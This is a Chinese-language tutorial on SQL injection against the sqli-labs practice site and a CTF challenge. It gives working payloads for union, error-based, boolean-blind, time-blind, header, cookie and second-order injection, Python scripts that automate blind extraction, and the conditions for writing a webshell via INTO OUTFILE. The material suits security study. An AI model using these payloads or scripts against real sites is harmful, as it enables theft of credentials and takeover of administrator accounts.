形成原因:
web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。
目的:
通过sql注入,拿到管理员账号和密码
联合查询注入
(1)利用order by 测出表的列数,order by在mysql中的作用是排序,当我们order by后面跟的列数大于数据库表的列数时,会报错
?id=1' order by 3--+
?id=1' order by 4--+
当我们用order by 4时报错,所以得知该表有3列
(2)再用union select 1,2,3 判断回显位
?id=-1' union select 1,2,3--+
得知回显位在2,3位
(3)爆出数据库
?id=-1' union select 1,(database()),3--+
(4)爆出表名
在mysql中,自带的数据库information_schema中,存储了所有的数据库名,表名和列表,所以我们进入此库进行查询
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
观察这几个表中,判断出账号和密码在users表中
(5)爆出列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3--+
(6)爆出所有账号和密码
?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),3--+
如果后端php代码将information过滤掉,此时我们无法再进入information_shema库中查询
解决办法:数据库中还有sys这个库,可以查询出所有表名,但是无法查出列表,此时可以无列名注入
无列名注入
利用联合查询注入在sys库中查询到表名后,用无列名注入爆出列名
原理:利用join连接两张相同的表,此时会报出列名重复的错误
?id=-1' union select * from(select * from users as a join users as b)as c--+
?id=-1' union select * from (select * from users as a join users as b using(id))as c--+
?id=-1' union select * from (select * from users as a join users as b using(id,username))as c--+
报错注入
当我们get传入id后,发现只显示you are in ........,并没有显示账号和密码,所以想到用报错注入
报错函数:
updatexml(1,2,3) --报错位在第二位
(1)爆数据库名
?id=-1' and updatexml(1,(concat(0x7e,database(),0x7e)),3)--+
(2)爆数据表名
?id=-1' and updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)),3)--+
(3)爆user表的列名
?id=-1' and updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e)),3)--+
(4)爆出账号密码
?id=-1' and updatexml(1,(concat(0x7e,(select group_concat(username,0x3a,password) from security.users),0x7e)),3)--+
我们发现信息显示不完整,因为报错位一次最多显示32位,所以我们得用substring进行截取
?id=-1' and updatexml(1,(concat(0x7e,substring((select group_concat(username,0x3a,password) from security.users),32,32),0x7e)),3)--+
extractvalue(1,2) -- 报错位在第2位
?id=-1' and extractvalue(1,(concat(0x7e,database(),0x7e)))--+
后面步骤跟前面相同(爆库名,表名,列名,数据)
floor()报错注入
floor() ---向下取整
rand() ---生成随机数
group by --- 分组
count() --- 统计计数
?id=-1' union select 1,count(*),(concat(database(),0x7e,floor(rand(0)*2)))as b from information_schema.tables group by b--+
原理:
当count(*)和group by 一起使用的时候,mysql会创建一个虚表,进行插入主键和计数,在查询数据的时候,首先看虚表中是否存在该组,如果存在就计数(+1),如果不存在,则插入主键新建分组
但是mysql有一个特性,在插入主键的时候,rand()会多执行一次,rand 的执行速度比group by 的查询插入主键的速度快
(1)查询第一次,查到结果为0,发现没有该分组,则插入主键,但是rand()函数又执行了一次,插入的时候是插入的1,而不是0;
(2)查询第二次,查到结果为1,有该分组,计数+1;
(3)查询第三次,查到结果为0,发现没有该分组,则插入主键,此时rand()函数又多执行了一次,插入的时候是插入下一个结果(1),插入1的时候就会报主键重复,因为mysql中主键只能是唯一值。
outfile()
利用into outfile()可以在MySQL上传webshell
但是要满足3个苛刻的条件,才能成功上传
1、root权限
2、网站的物理路径(上传后能够访问到)
3、secure_file_priv参数值为空,默认值为null(必须为空,null值表示不能上传)
布尔盲注
我们发现传入正确和错误值时,页面显示不同,而又没有报错信息,此时可以用布尔盲注
?id=1' and ascii(substr(database(),1,1)) > 114--+
?id=1' and ascii(substr(database(),1,1)) > 115--+
以上过程可以判断出database()结果的第一个字母的ascii值是115,所以得到第一个字母是s
以此类推可以爆出所有字母
也可以用python脚本跑出结果,提高效率
import requests
url="http://127.0.0.1/sqli-labs/Less-8/index.php"
def inject_database(url):
name = ''
for i in range(1,20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr(database(), %d ,1)) > %d-- " % (i,mid)
res = {"id" : payload}
r = requests.get(url, params=res)
if "You are in..........." in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
时间盲注
我们发现传入正确和错误的值时,页面显示没有区别,此时我们就可以用sleep()函数来进行时间盲注,如果正确就让它sleep(3),以此来观察
?id=1' and if(ascii(substr(database(),1,1)) = 115,sleep(3),0) --+
同样也可以用python脚本提高效率
import time
import requests
url = 'http://127.0.0.1/sqli-labs/Less-9/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
res = {"id": payload}
start_time = time.time()
r = requests.get(url, params=res)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
POST型注入
发现在登录框输入账号密码后,会回显信息,所以可以在登录框进行注入
a' union select database(),2#
a' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
以上述方式依次进行注入列名和数据
post请求中报错注入
当提交post请求后,没有回显提交的值时,但有报错信息,则在post中使用报错注入
a') and updatexml(1,concat(0x7e,database(),0x7e),3)#
post请求中布尔盲注
我们发现传入布尔值不同,页面显示的图片也会不同,所以以此来进行注入
admin' and ascii(substr(database(),1,1))=115#
同样也可以用python脚本提高效率
import requests
url="http://127.0.0.1/sqli-labs/Less-15/index.php"
def inject_database(url):
name = ''
for i in range(1,20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0",
"Content-Type": "application/x-www-form-urlencoded"
}
data = {"uname": "admin' and ascii(substr(database(), %d,1)) > %d#" % (i, mid), "passwd": "aaa"}
r = requests.post(url, data=data)
if "flag.jpg" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
HTTP文件头注入
sqli-labs/Less-18
提交后,发现会回显User Agent信息
查看源码
发现过滤了username和password ,所以想到用Burp Suit进行抓包修改http头部的user-agent
修改user-agent后,成功显示,所以在此处进行报错注入
查看源码得知,插入的数据有3个,所以我们修改uagent后,要么闭合单引号,要么自己写剩下两个数据,再注释掉后面的内容,否则报错
(1)闭合单引号
a' and updatexml(1,(concat(0x7e,database(),0x7e)),3) and '1'='1
(2)注释掉后面内容
a' and updatexml(1,(concat(0x7e,database(),0x7e)),3),'7.7.7.7','admin')#
sqli-labs/Less-20
我们发现它将提交的username值作为cooike值,再看代码
uname和passwd被过滤掉,此处无法注入
此处发现在取cookee值时,并没有过滤,所以用BurpSuit抓包后,修改cooike进行报错注入
Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),3)#
sqli-labs/Less-21
查看源码发现在传入uname过后,程序将uname进行base64编码,在取出的时候再进行解码,所以我们在修改cookee时,要进行编码,才能注入
Cookie: uname=YScpIGFuZCB1cGRhdGV4bWwoMSwoY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSksMykj
二次注入
产生原因:从数据库中取数据时,没有进行过滤
发现可以进行注册账号,并且登录后可以进行修改密码
查看源码:
发现在进行修改密码时,从数据库中取的数据并没有进行过滤,所有可以进行二次注入,修改管理员账号密码
(1)注册用户名为admin'#的用户,单引号用来闭合前面单引号,#注释掉后面的语句
(2)再用admin'#登录进行修改密码
此时拼接后的修改密码的sql语句变成了
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'# ' and password='$curr_pass' ";
所以就将admin的密码成功修改
修改前
修改后
网鼎杯2018 Comment 二次注入
点击发帖输入信息后,发现要进行登录
用BurpSuit进行爆破
爆破得到payload是:666
此时登录成功
用dirmap扫描,扫出有.git的文件泄漏
在向github上传文件时,首先上传到本地仓库,本地再push推送到github仓库,.git文件就是本地仓库的数据库文件
此时用 GitHacker工具进行还原源码文件
上图为代码关键部分,sql语句中有二次注入点
category处可以写payload进行二次注入
',content=database(),/*
*/#
此时发现成功利用二次注入爆出数据库名及用户名